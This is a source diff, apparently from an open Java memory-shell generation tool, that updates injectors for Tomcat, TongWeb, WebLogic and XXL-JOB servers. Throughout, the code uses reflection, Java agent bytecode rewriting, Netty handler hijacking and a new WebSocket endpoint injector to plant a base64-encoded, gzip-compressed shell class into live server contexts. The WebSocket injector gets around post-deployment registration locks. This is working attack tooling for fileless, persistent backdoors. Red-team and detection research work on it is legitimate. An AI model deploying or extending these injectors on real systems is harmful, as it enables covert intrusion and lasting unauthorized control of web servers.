public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
private final boolean returnsInt;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
this.returnsInt = returnsInt;
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
// GlassFishValve.END_PIPELINE == 2
|
||||
if (returnsInt) {
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitInsn(Opcodes.IRETURN);
|
||||
} else {
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
}
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+49
-3
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
if (childrenMap == null) {
|
||||
continue;
|
||||
}
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
if (children != null) {
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
/**
|
||||
* Older Catalina: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
Object container = getFieldValue(target, "this$0");
|
||||
if (container != null) {
|
||||
return container;
|
||||
}
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/StandardContextValve",
|
||||
"com/tongweb/catalina/core/StandardContextValve",
|
||||
"com/tongweb/server/core/StandardContextValve"
|
||||
"com/tongweb/server/core/StandardContextValve",
|
||||
"com/tongweb/container/core/StandardContextValve"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
||||
"com/tongweb/catalina/core/ApplicationFilterChain",
|
||||
"com/tongweb/server/core/ApplicationFilterChain"
|
||||
"com/tongweb/server/core/ApplicationFilterChain",
|
||||
"com/tongweb/container/core/ApplicationFilterChain"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
|
||||
+13
-5
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e) {
|
||||
// tongweb 8
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
try {
|
||||
// tongweb 8
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e1) {
|
||||
// tongweb embedded (spring boot)
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
|
||||
+7
-2
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
|
||||
// tongweb6
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||
} catch (ClassNotFoundException e1) {
|
||||
// tongweb8
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||
try {
|
||||
// tongweb8
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||
} catch (ClassNotFoundException e2) {
|
||||
// tongweb embedded (spring boot)
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
|
||||
+307
@@ -0,0 +1,307 @@
|
||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
|
||||
import javax.management.MBeanServer;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicWebSocketInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebLogicWebSocketInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
Object container = getServerContainer(context);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, container, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* weblogic.servlet.internal.WebAppServletContext
|
||||
*/
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Set<Object> getContext() throws Exception {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||
String key = entry.getKey();
|
||||
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||
Object value = entry.getValue();
|
||||
Object managedResource = getFieldValue(value, "managedResource");
|
||||
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||
}
|
||||
}
|
||||
}
|
||||
try {
|
||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||
Object request = null;
|
||||
try {
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
request = getFieldValue(connectionHandler, "request");
|
||||
} catch (Exception x) {
|
||||
// WebLogic 10.3.6
|
||||
request = workEntry;
|
||||
}
|
||||
if (request != null) {
|
||||
webappContexts.add(getFieldValue(request, "context"));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getServerContainer(Object context) throws Exception {
|
||||
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
|
||||
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||
}
|
||||
return container;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private void inject(Object context, Object container, Object obj) throws Exception {
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverEndpointConfigClass;
|
||||
Class<?> builderClass;
|
||||
try {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||
}
|
||||
|
||||
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
|
||||
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
|
||||
Object endpointConfig = invokeMethod(builder, "build", null, null);
|
||||
|
||||
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
|
||||
// register() bypasses this post-deployment lock and works on a live WebLogic server.
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
try {
|
||||
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
}
|
||||
try {
|
||||
prioritizeWebSocketFilter(context);
|
||||
} catch (Exception ignored) {
|
||||
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
|
||||
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
|
||||
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
|
||||
* upgrade is handled before a non-async filter can disable async support for the request.
|
||||
*/
|
||||
@SuppressWarnings("all")
|
||||
private void prioritizeWebSocketFilter(Object context) throws Exception {
|
||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||
Object value = getFieldValue(filterManager, "filterPatternList");
|
||||
if (!(value instanceof List)) {
|
||||
return;
|
||||
}
|
||||
List filterMappings = (List) value;
|
||||
synchronized (filterMappings) {
|
||||
for (int i = 0; i < filterMappings.size(); i++) {
|
||||
Object filterMapping = filterMappings.get(i);
|
||||
Object filterName = getFieldValue(filterMapping, "filterName");
|
||||
if ("WebSocket filter".equals(filterName)) {
|
||||
if (i > 0) {
|
||||
filterMappings.remove(i);
|
||||
filterMappings.add(0, filterMapping);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+56
-36
@@ -1,13 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.injector.xxljob;
|
||||
|
||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
||||
import com.xxl.job.core.server.EmbedServer;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelInitializer;
|
||||
import io.netty.channel.socket.SocketChannel;
|
||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
||||
import io.netty.handler.codec.http.HttpServerCodec;
|
||||
import io.netty.handler.timeout.IdleStateHandler;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
@@ -15,11 +10,8 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.UUID;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
return;
|
||||
}
|
||||
try {
|
||||
inject();
|
||||
msg += "[/*] ready\n";
|
||||
if (inject()) {
|
||||
msg += "[/*] ready\n";
|
||||
} else {
|
||||
msg += "failed, server channel not found\n";
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
|
||||
private static Class<?> handlerClass;
|
||||
private static ChannelHandler originalChildHandler;
|
||||
private final String handlerName = UUID.randomUUID().toString();
|
||||
|
||||
@Override
|
||||
protected void initChannel(SocketChannel channel) throws Exception {
|
||||
if (channel.pipeline().get(handlerName) != null) {
|
||||
return;
|
||||
}
|
||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||
channel.pipeline()
|
||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
||||
.addLast(new HttpServerCodec())
|
||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
||||
.addLast(channelHandler)
|
||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
||||
0,
|
||||
200,
|
||||
60L,
|
||||
TimeUnit.SECONDS,
|
||||
new LinkedBlockingQueue<>(2000),
|
||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
||||
(r, executor) -> {
|
||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
||||
})));
|
||||
channel.pipeline().addLast(originalChildHandler);
|
||||
String httpCodecName = null;
|
||||
for (String name : channel.pipeline().names()) {
|
||||
if (name.contains("HttpObjectAggregator")) {
|
||||
httpCodecName = name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (httpCodecName != null) {
|
||||
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
|
||||
} else {
|
||||
channel.pipeline().addFirst(handlerName, channelHandler);
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> getShellClass(Object context) throws Exception {
|
||||
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
}
|
||||
|
||||
public void inject() throws Exception {
|
||||
public boolean inject() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
|
||||
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
|
||||
if (evField == null) {
|
||||
evField = getField(innerRunnable.getClass(), "this$0");
|
||||
}
|
||||
if (evField == null) {
|
||||
continue;
|
||||
}
|
||||
target = evField.get(innerRunnable);
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
if (!set.isEmpty()) {
|
||||
Object keys = set.toArray()[0];
|
||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||
handlerClass = getShellClass(embedHttpServerHandler);
|
||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||
return;
|
||||
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
for (Object key : set.toArray()) {
|
||||
try {
|
||||
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
|
||||
Object tail = getFieldValue(pipeline, "tail");
|
||||
Object prevContext = getFieldValue(tail, "prev");
|
||||
Object acceptor = getFieldValue(prevContext, "handler");
|
||||
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
|
||||
continue;
|
||||
}
|
||||
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
|
||||
if (childHandlerField == null) {
|
||||
continue;
|
||||
}
|
||||
childHandlerField.setAccessible(true);
|
||||
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
|
||||
handlerClass = getShellClass(acceptor);
|
||||
childHandlerField.set(acceptor, this);
|
||||
return true;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5 extends AbstractServer {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
|
||||
} catch (Exception ignored2) {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, Jetty5ListenerInjector.class)
|
||||
.addInjector(FILTER, Jetty5FilterInjector.class)
|
||||
.addInjector(SERVLET, Jetty5ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.FILTER;
|
||||
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
